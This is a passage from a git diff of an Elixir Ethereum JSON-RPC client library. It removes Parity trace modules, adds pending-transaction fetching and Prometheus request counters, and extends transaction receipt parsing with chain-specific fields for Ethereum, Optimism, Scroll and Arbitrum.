"0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "value" => "0x0" - ...> }, - ...> "result" => %{ - ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", - ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "gasUsed" => "0x28afb" - ...> }, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionIndex" => 0, - ...> "type" => "create" - ...> } - ...> ) - ** (ArgumentError) Caller must `Map.put/2` `"blockNumber"`, `"index"`, `"transactionHash"` and `"transactionIndex"` in trace - - `"suicide"` `"type"` traces are different in that they have a `nil` `"result"`. This is because the `"result"` key - is used to indicate success from Parity. - - iex> EthereumJSONRPC.Parity.Trace.to_elixir( - ...> %{ - ...> "action" => %{ - ...> "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", - ...> "balance" => "0x0", - ...> "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" - ...> }, - ...> "blockNumber" => 1, - ...> "index" => 1, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [0], - ...> "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", - ...> "transactionIndex" => 0, - ...> "type" => "suicide" - ...> } - ...> ) - %{ - "action" => %{ - "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", - "balance" => 0, - "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" - }, - "blockNumber" => 1, - "index" => 1, - "result" => nil, - "subtraces" => 0, - "traceAddress" => [0], - "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", - "transactionIndex" => 0, - "type" => "suicide" - } - - A call type trace can error and be reverted. - - iex> EthereumJSONRPC.Parity.Trace.to_elixir( - ...> %{ - ...> "action" => %{ - ...> "callType" => "call", - ...> "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", - ...> "gas" => "0x73a468", - ...> "input" => "0xa6f2ae3a", - ...> "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", - ...> "value" => "0x2386f26fc10000" - ...> }, - ...> "blockNumber" => 1, - ...> "blockHash" => "0x940ec4bab528861b5c5904c8d143d466a2b237e4b8c9bc96201dfde037d185f2", - ...> "error" => "Reverted", - ...> "index" => 0, - ...> "subtraces" => 7, - ...> "traceAddress" => [], - ...> "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", - ...> "transactionIndex" => 0, - ...> "type" => "call" - ...> } - ...> ) - %{ - "action" => %{ - "callType" => "call", - "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", - "gas" => 7578728, - "input" => "0xa6f2ae3a", - "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", - "value" => 10000000000000000 - }, - "blockNumber" => 1, - "blockHash" => "0x940ec4bab528861b5c5904c8d143d466a2b237e4b8c9bc96201dfde037d185f2", - "error" => "Reverted", - "index" => 0, - "subtraces" => 7, - "traceAddress" => [], - "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", - "transactionIndex" => 0, - "type" => "call" - } - - """ - - def to_elixir(%{"blockNumber" => _, "index" => _, "transactionHash" => _, "transactionIndex" => _} = trace) - when is_map(trace) do - Enum.into(trace, %{}, &entry_to_elixir/1) - end - - def to_elixir(_) do - raise ArgumentError, - ~S|Caller must `Map.put/2` `"blockNumber"`, `"index"`, `"transactionHash"` and `"transactionIndex"` in trace| - end - - # subtraces is an actual integer in JSON and not hex-encoded - # traceAddress is a list of actual integers, not a list of hex-encoded - defp entry_to_elixir({key, _} = entry) - when key in ~w(subtraces traceAddress transactionHash blockHash type output), - do: entry - - defp entry_to_elixir({"action" = key, action}) do - {key, Action.to_elixir(action)} - end - - defp entry_to_elixir({"blockNumber", block_number} = entry) when is_integer(block_number), - do: entry - - defp entry_to_elixir({"error", reason} = entry) when is_binary(reason), do: entry - - defp entry_to_elixir({"index", index} = entry) when is_integer(index), do: entry - - defp entry_to_elixir({"result" = key, result}) do - {key, Result.to_elixir(result)} - end - - defp entry_to_elixir({"transactionIndex", index} = entry) when is_integer(index), do: entry - - defp put_call_error_or_result(params, %{ - "result" => %{"gasUsed" => gas_used, "output" => output} - }) do - Map.merge(params, %{gas_used: gas_used, output: output}) - end - - defp put_call_error_or_result(params, %{"error" => error}) do - Map.put(params, :error, error) - end - - defp put_create_error_or_result(params, %{ - "result" => %{ - "address" => created_contract_address_hash, - "code" => code, - "gasUsed" => gas_used - } - }) do - Map.merge(params, %{ - created_contract_code: code, - created_contract_address_hash: created_contract_address_hash, - gas_used: gas_used - }) - end - - defp put_create_error_or_result(params, %{"error" => error}) do - Map.put(params, :error, error) - end -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/traces.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/traces.ex deleted file mode 100644 index f18186fd25d6..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/traces.ex +++ /dev/null @@ -1,17 +0,0 @@ -defmodule EthereumJSONRPC.Parity.Traces do - @moduledoc """ - Trace returned by - [`trace_replayTransaction`](https://wiki.parity.io/JSONRPC-trace-module.html#trace_replaytransaction), which is an - extension to the Ethereum JSONRPC standard that is only supported by [Parity](https://wiki.parity.io/). - """ - - alias EthereumJSONRPC.Parity.Trace - - def elixir_to_params(elixir) when is_list(elixir) do - Enum.map(elixir, &Trace.elixir_to_params/1) - end - - def to_elixir(traces) when is_list(traces) do - Enum.map(traces, &Trace.to_elixir/1) - end -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/pending_transaction.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/pending_transaction.ex new file mode 100644 index 000000000000..b797585ec5d3 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/pending_transaction.ex @@ -0,0 +1,75 @@ +defmodule EthereumJSONRPC.PendingTransaction do + @moduledoc """ + Defines pending transactions fetching functions + """ + + import EthereumJSONRPC, only: [json_rpc: 2, request: 1] + alias EthereumJSONRPC.{Transaction, Transactions} + + @doc """ + Geth-style fetching of pending transactions (from `txpool_content`) + """ + @spec fetch_pending_transactions_geth(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, [Transaction.params()]} | {:error, reason :: term} + def fetch_pending_transactions_geth(json_rpc_named_arguments) do + with {:ok, transaction_data} <- + %{id: 1, method: "txpool_content", params: []} |> request() |> json_rpc(json_rpc_named_arguments), + {:transaction_data_is_map, true} <- {:transaction_data_is_map, is_map(transaction_data)} do + transactions_params = + transaction_data["pending"] + |> Enum.flat_map(fn {_address, nonce_transactions_map} -> + nonce_transactions_map + |> Enum.map(fn {_nonce, transaction} -> + transaction + end) + end) + |> Transactions.to_elixir() + |> Transactions.elixir_to_params() + |> Enum.map(fn params -> + # txpool_content always returns transaction with 0x0000000000000000000000000000000000000000000000000000000000000000 value in block hash and index is null. + # https://github.com/ethereum/go-ethereum/issues/19897 + %{params | block_hash: nil, index: nil} + end) + + {:ok, transactions_params} + else + {:error, _} = error -> error + {:transaction_data_is_map, false} -> {:ok, []} + end + end + + @doc """ + parity-style fetching of pending transactions (from `parity_pendingTransactions`) + """ + @spec fetch_pending_transactions_parity(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, [Transaction.params()]} | {:error, reason :: term} + def fetch_pending_transactions_parity(json_rpc_named_arguments) do + with {:ok, transactions} <- + %{id: 1, method: "parity_pendingTransactions", params: []} + |> request() + |> json_rpc(json_rpc_named_arguments) do + transactions_params = + transactions + |> Transactions.to_elixir() + |> Transactions.elixir_to_params() + + {:ok, transactions_params} + end + end + + @spec fetch_pending_transactions_besu(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, [Transaction.params()]} | {:error, reason :: term} + def fetch_pending_transactions_besu(json_rpc_named_arguments) do + with {:ok, transactions} <- + %{id: 1, method: "txpool_besuPendingTransactions", params: []} + |> request() + |> json_rpc(json_rpc_named_arguments) do + transactions_params = + transactions + |> Transactions.to_elixir() + |> Transactions.elixir_to_params() + + {:ok, transactions_params} + end + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/prometheus/instrumenter.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/prometheus/instrumenter.ex new file mode 100644 index 000000000000..81b536102902 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/prometheus/instrumenter.ex @@ -0,0 +1,36 @@ +defmodule EthereumJSONRPC.Prometheus.Instrumenter do + @moduledoc """ + JSON RPC metrics for `Prometheus`. + """ + + use Prometheus.Metric + + @counter [name: :json_rpc_requests_count, labels: [:method], help: "Number of JSON RPC requests"] + @counter [name: :json_rpc_requests_errors_count, labels: [:method], help: "Number of JSON RPC requests errors"] + + @doc """ + Increments the JSON-RPC requests counter for a given method. + + ## Parameters + + - `method` (String): The name of the JSON-RPC method. + - `req_count` (integer, optional): The number of requests to increment by. Defaults to 1. + """ + @spec json_rpc_requests(String.t(), non_neg_integer()) :: :ok + def json_rpc_requests(method, req_count \\ 1) do + Counter.inc([name: :json_rpc_requests_count, labels: [method]], req_count) + end + + @doc """ + Increments the counter for JSON-RPC errors for a given method. + + ## Parameters + + - `method` (string): The name of the JSON-RPC method that encountered an error. + - `error_count` (integer, optional): The number of errors to increment the counter by. Defaults to 1. + """ + @spec json_rpc_errors(String.t(), non_neg_integer()) :: :ok + def json_rpc_errors(method, error_count \\ 1) do + Counter.inc([name: :json_rpc_requests_errors_count, labels: [method]], error_count) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipt.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipt.ex index 3f90c7977f26..6a2298478e46 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipt.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipt.ex @@ -1,13 +1,51 @@ defmodule EthereumJSONRPC.Receipt do @moduledoc """ Receipts format as returned by - [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionreceipt). + [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionreceipt). """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] import EthereumJSONRPC, only: [quantity_to_integer: 1] alias EthereumJSONRPC.Logs + case @chain_type do + :ethereum -> + @chain_type_fields quote( + do: [ + blob_gas_price: non_neg_integer(), + blob_gas_used: non_neg_integer() + ] + ) + + :optimism -> + @chain_type_fields quote( + do: [ + l1_fee: non_neg_integer(), + l1_fee_scalar: non_neg_integer(), + l1_gas_price: non_neg_integer(), + l1_gas_used: non_neg_integer() + ] + ) + + :scroll -> + @chain_type_fields quote( + do: [ + l1_fee: non_neg_integer() + ] + ) + + :arbitrum -> + @chain_type_fields quote( + do: [ + gas_used_for_l1: non_neg_integer() + ] + ) + + _ -> + @chain_type_fields quote(do: []) + end + @type elixir :: %{String.t() => String.t() | non_neg_integer} @typedoc """ @@ -38,11 +76,16 @@ defmodule EthereumJSONRPC.Receipt do | nil } - @typedoc """ - * `:ok` - transaction succeeded - * `:error` - transaction failed - """ - @type status :: :ok | :error + @type params :: %{ + unquote_splicing(@chain_type_fields), + optional(:gas_price) => non_neg_integer(), + cumulative_gas_used: non_neg_integer(), + gas_used: non_neg_integer(), + created_contract_address_hash: EthereumJSONRPC.hash(), + status: :ok | :error, + transaction_hash: EthereumJSONRPC.hash(), + transaction_index: non_neg_integer() + } @doc """ Get `t:EthereumJSONRPC.Logs.elixir/0` from `t:elixir/0` @@ -74,7 +117,26 @@ defmodule EthereumJSONRPC.Receipt do gas_used: 269607, status: :ok, transaction_hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - transaction_index: 0 + transaction_index: 0,\ + #{case @chain_type do + :ethereum -> """ + blob_gas_price: 0,\ + blob_gas_used: 0\ + """ + :optimism -> """ + l1_fee: 0,\ + l1_fee_scalar: 0,\ + l1_gas_price: 0,\ + l1_gas_used: 0\ + """ + :scroll -> """ + l1_fee: 0\ + """ + :arbitrum -> """ + gas_used_for_l1: nil\ + """ + _ -> "" + end} } Geth, when showing pre-[Byzantium](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-609.md) does not include @@ -107,19 +169,37 @@ defmodule EthereumJSONRPC.Receipt do gas_used: 21001, status: nil, transaction_hash: "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060", - transaction_index: 0 + transaction_index: 0,\ + #{case @chain_type do + :ethereum -> """ + blob_gas_price: 0,\ + blob_gas_used: 0\ + """ + :optimism -> """ + l1_fee: 0,\ + l1_fee_scalar: 0,\ + l1_gas_price: 0,\ + l1_gas_used: 0\ + """ + :scroll -> """ + l1_fee: 0\ + """ + :arbitrum -> """ + gas_used_for_l1: nil\ + """ + _ -> "" + end} } """ - @spec elixir_to_params(elixir) :: %{ - cumulative_gas_used: non_neg_integer, - gas_used: non_neg_integer, - created_contract_address_hash: String.t() | nil, - status: status(), - transaction_hash: String.t(), - transaction_index: non_neg_integer() - } - def elixir_to_params( + @spec elixir_to_params(elixir) :: params + def elixir_to_params(elixir) do + elixir + |> do_elixir_to_params() + |> chain_type_fields(elixir) + end + + def do_elixir_to_params( %{ "cumulativeGasUsed" => cumulative_gas_used, "gasUsed" => gas_used, @@ -138,6 +218,58 @@ defmodule EthereumJSONRPC.Receipt do transaction_hash: transaction_hash, transaction_index: transaction_index } + |> maybe_append_gas_price(elixir) + end + + defp maybe_append_gas_price(params, %{"effectiveGasPrice" => effective_gas_price}) do + if is_nil(effective_gas_price) do + params + else + Map.put(params, :gas_price, effective_gas_price) + end + end + + defp maybe_append_gas_price(params, _), do: params + + case @chain_type do + :ethereum -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + blob_gas_price: Map.get(elixir, "blobGasPrice", 0), + blob_gas_used: Map.get(elixir, "blobGasUsed", 0) + }) + end + + :optimism -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + l1_fee: Map.get(elixir, "l1Fee", 0), + l1_fee_scalar: Map.get(elixir, "l1FeeScalar", 0), + l1_gas_price: Map.get(elixir, "l1GasPrice", 0), + l1_gas_used: Map.get(elixir, "l1GasUsed", 0) + }) + end + + :scroll -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + l1_fee: Map.get(elixir, "l1Fee", 0) + }) + end + + :arbitrum -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + gas_used_for_l1: Map.get(elixir, "gasUsedForL1") + }) + end + + _ -> + defp chain_type_fields(params, _), do: params end @doc """ @@ -253,11 +385,14 @@ defmodule EthereumJSONRPC.Receipt do # hash format # gas is passed in from the `t:EthereumJSONRPC.Transaction.params/0` to allow pre-Byzantium status to be derived defp entry_to_elixir({key, _} = entry) - when key in ~w(blockHash contractAddress from gas logsBloom root to transactionHash revertReason type effectiveGasPrice), + when key in ~w(blockHash contractAddress from gas logsBloom root to transactionHash + revertReason type l1FeeScalar), do: {:ok, entry} defp entry_to_elixir({key, quantity}) - when key in ~w(blockNumber cumulativeGasUsed gasUsed transactionIndex) do + when key in ~w(blockNumber cumulativeGasUsed gasUsed transactionIndex blobGasUsed + blobGasPrice l1Fee l1GasPrice l1GasUsed effectiveGasPrice gasUsedForL1 + l1BlobBaseFeeScalar l1BlobBaseFee l1BaseFeeScalar) do result = if is_nil(quantity) do nil @@ -280,7 +415,7 @@ defmodule EthereumJSONRPC.Receipt do one when one in ["0x1", "0x01"] -> {:ok, {key, :ok}} - # pre-Byzantium / Ethereum Classic on Parity + # pre-Byzantium nil -> :ignore @@ -289,27 +424,7 @@ defmodule EthereumJSONRPC.Receipt do end end - # fixes for latest ganache JSON RPC - defp entry_to_elixir({key, _}) when key in ~w(r s v) do - :ignore - end - - # Nethermind field - defp entry_to_elixir({"error", _}) do + defp entry_to_elixir({_, _}) do :ignore end - - # Arbitrum fields - defp entry_to_elixir({key, _}) when key in ~w(returnData returnCode feeStats l1BlockNumber) do - :ignore - end - - # GoQuorum specific transaction receipt fields - defp entry_to_elixir({key, _}) when key in ~w(isPrivacyMarkerTransaction) do - :ignore - end - - defp entry_to_elixir({key, value}) do - {:error, {:unknown_key, %{key: key, value: value}}} - end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts.ex index e5d706589cf4..1f104c181458 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts.ex @@ -1,13 +1,15 @@ defmodule EthereumJSONRPC.Receipts do @moduledoc """ Receipts format as returned by - [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionreceipt) from batch + [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionreceipt) from batch requests. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - import EthereumJSONRPC, only: [json_rpc: 2, request: 1] + import EthereumJSONRPC, only: [json_rpc: 2, quantity_to_integer: 1] alias EthereumJSONRPC.{Logs, Receipt} + alias EthereumJSONRPC.Receipts.{ByBlockNumber, ByTransactionHash} @type elixir :: [Receipt.elixir()] @type t :: [Receipt.t()] @@ -32,8 +34,7 @@ defmodule EthereumJSONRPC.Receipts do ...> "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], ...> "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", ...> "transactionIndex" => 0, - ...> "transactionLogIndex" => 0, - ...> "type" => "mined" + ...> "transactionLogIndex" => 0 ...> } ...> ], ...> "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", @@ -53,8 +54,7 @@ defmodule EthereumJSONRPC.Receipts do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => 0, - "transactionLogIndex" => 0, - "type" => "mined" + "transactionLogIndex" => 0 } ] @@ -84,8 +84,7 @@ defmodule EthereumJSONRPC.Receipts do ...> "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], ...> "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", ...> "transactionIndex" => 0, - ...> "transactionLogIndex" => 0, - ...> "type" => "mined" + ...> "transactionLogIndex" => 0 ...> } ...> ], ...> "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", @@ -102,7 +101,26 @@ defmodule EthereumJSONRPC.Receipts do gas_used: 50450, status: :ok, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - transaction_index: 0 + transaction_index: 0,\ + #{case @chain_type do + :ethereum -> """ + blob_gas_price: 0,\ + blob_gas_used: 0\ + """ + :optimism -> """ + l1_fee: 0,\ + l1_fee_scalar: 0,\ + l1_gas_price: 0,\ + l1_gas_used: 0\ + """ + :scroll -> """ + l1_fee: 0\ + """ + :arbitrum -> """ + gas_used_for_l1: nil\ + """ + _ -> "" + end} } ] @@ -112,6 +130,23 @@ defmodule EthereumJSONRPC.Receipts do Enum.map(elixir, &Receipt.elixir_to_params/1) end + @doc """ + Fetches transaction receipts and logs, converting them to a format ready for + database import. + + Makes batch JSON-RPC requests to retrieve receipts for multiple transactions + sequentially. Processes the raw receipt data into standardized format suitable + for database import. + + ## Parameters + - `request_origins`: A list of transaction parameter maps + - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + + ## Returns + - `{:ok, %{logs: list(), receipts: list()}}` - Successfully processed receipts + and logs ready for database import + - `{:error, reason}` - Error occurred during fetch or processing + """ @spec fetch( [ %{ @@ -122,20 +157,83 @@ defmodule EthereumJSONRPC.Receipts do ], EthereumJSONRPC.json_rpc_named_arguments() ) :: {:ok, %{logs: list(), receipts: list()}} | {:error, reason :: term()} + def fetch(transactions_params, json_rpc_named_arguments) + + def fetch([], _json_rpc_named_arguments), do: {:ok, %{logs: [], receipts: []}} + def fetch(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do {requests, id_to_transaction_params} = transactions_params |> Stream.with_index() |> Enum.reduce({[], %{}}, fn {%{hash: transaction_hash} = transaction_params, id}, {acc_requests, acc_id_to_transaction_params} -> - requests = [request(id, transaction_hash) | acc_requests] + requests = [ByTransactionHash.request(id, transaction_hash) | acc_requests] id_to_transaction_params = Map.put(acc_id_to_transaction_params, id, transaction_params) {requests, id_to_transaction_params} end) - with {:ok, responses} <- json_rpc(requests, json_rpc_named_arguments), - {:ok, receipts} <- reduce_responses(responses, id_to_transaction_params) do - elixir_receipts = to_elixir(receipts) + request_and_parse(requests, id_to_transaction_params, json_rpc_named_arguments) + end + + @doc """ + Fetches transaction receipts and logs, converting them to a format ready for + database import. + + Makes batch JSON-RPC requests to retrieve receipts for multiple block numbers + sequentially. Processes the raw receipt data into standardized format suitable + for database import. + + ## Parameters + - `block_numbers`: A list of block numbers + - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + + ## Returns + - `{:ok, %{logs: list(), receipts: list()}}` - Successfully processed receipts + and logs ready for database import + - `{:error, reason}` - Error occurred during fetch or processing + """ + @spec fetch_by_block_numbers( + [EthereumJSONRPC.block_number() | EthereumJSONRPC.quantity()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + {:ok, %{logs: list(), receipts: list()}} | {:error, reason :: term()} + def fetch_by_block_numbers(block_numbers, json_rpc_named_arguments) + + def fetch_by_block_numbers([], _json_rpc_named_arguments), do: {:ok, %{logs: [], receipts: []}} + + def fetch_by_block_numbers(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do + requests = + block_numbers + |> Enum.map(&ByBlockNumber.request(%{id: &1, number: &1})) + + request_and_parse(requests, block_numbers, json_rpc_named_arguments) + end + + # Executes a batch JSON-RPC request to retrieve and process receipts. + # + # This function handles the request and response processing for both transaction + # and block number based receipt retrieval. It converts the raw responses into + # data structures suitable for database import. + # + # ## Parameters + # - `requests`: A list of JSON-RPC requests to be executed. + # - `elements_with_ids`: A map or a list enumerating elements with request IDs + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection. + # + # ## Returns + # - `{:ok, %{logs: list(), receipts: list()}}` - Successfully processed receipts + # and logs ready for database import. + # - `{:error, reason}` - Error occurred during fetch or processing. + @spec request_and_parse( + [EthereumJSONRPC.Transport.request()], + %{EthereumJSONRPC.request_id() => %{required(:gas) => non_neg_integer(), optional(atom()) => any()}} + | [EthereumJSONRPC.request_id()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, %{logs: list(), receipts: list()}} | {:error, reason :: term()} + defp request_and_parse(requests, elements_with_ids, json_rpc_named_arguments) do + with {:ok, raw_responses} <- json_rpc(requests, json_rpc_named_arguments), + {:ok, fizzy_responses} <- process_responses(raw_responses, elements_with_ids) do + elixir_receipts = to_elixir(fizzy_responses) elixir_logs = elixir_to_logs(elixir_receipts) receipts = elixir_to_params(elixir_receipts) @@ -165,8 +263,7 @@ defmodule EthereumJSONRPC.Receipts do ...> "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], ...> "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", ...> "transactionIndex" => "0x0", - ...> "transactionLogIndex" => "0x0", - ...> "type" => "mined" + ...> "transactionLogIndex" => "0x0" ...> } ...> ], ...> "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", @@ -193,8 +290,7 @@ defmodule EthereumJSONRPC.Receipts do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => 0, - "transactionLogIndex" => 0, - "type" => "mined" + "transactionLogIndex" => 0 } ], "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", @@ -211,43 +307,143 @@ defmodule EthereumJSONRPC.Receipts do Enum.map(receipts, &Receipt.to_elixir/1) end - defp request(id, transaction_hash) when is_integer(id) and is_binary(transaction_hash) do - request(%{ - id: id, - method: "eth_getTransactionReceipt", - params: [transaction_hash] - }) - end + # Modifies a JSON-RPC response. + # + # ## Parameters + # - `response`: The JSON-RPC response containing either a receipt, list of receipts, + # nil result, or error + # - `elements_with_ids`: A map or a list enumerating elements with request IDs + # + # ## Returns + # - `{:ok, map_or_list}` a map or list of maps representing receipts with gas + # information added for successful receipt responses + # - `{:error, %{code: -32602, data: data, message: "Not Found"}}` for nil results + # - `{:error, reason}` with transaction data added for error responses + @spec modify_response( + EthereumJSONRPC.Transport.response(), + %{ + EthereumJSONRPC.request_id() => %{ + :gas => non_neg_integer(), + optional(atom()) => any() + } + } + | [EthereumJSONRPC.request_id()] + ) :: {:ok, map() | [map()]} | {:error, %{:data => any(), optional(any()) => any()}} + defp modify_response(response, elements_with_ids) - defp response_to_receipt(%{id: id, result: nil}, id_to_transaction_params) do + defp modify_response(%{id: id, result: nil}, id_to_transaction_params) when is_map(id_to_transaction_params) do data = Map.fetch!(id_to_transaction_params, id) {:error, %{code: -32602, data: data, message: 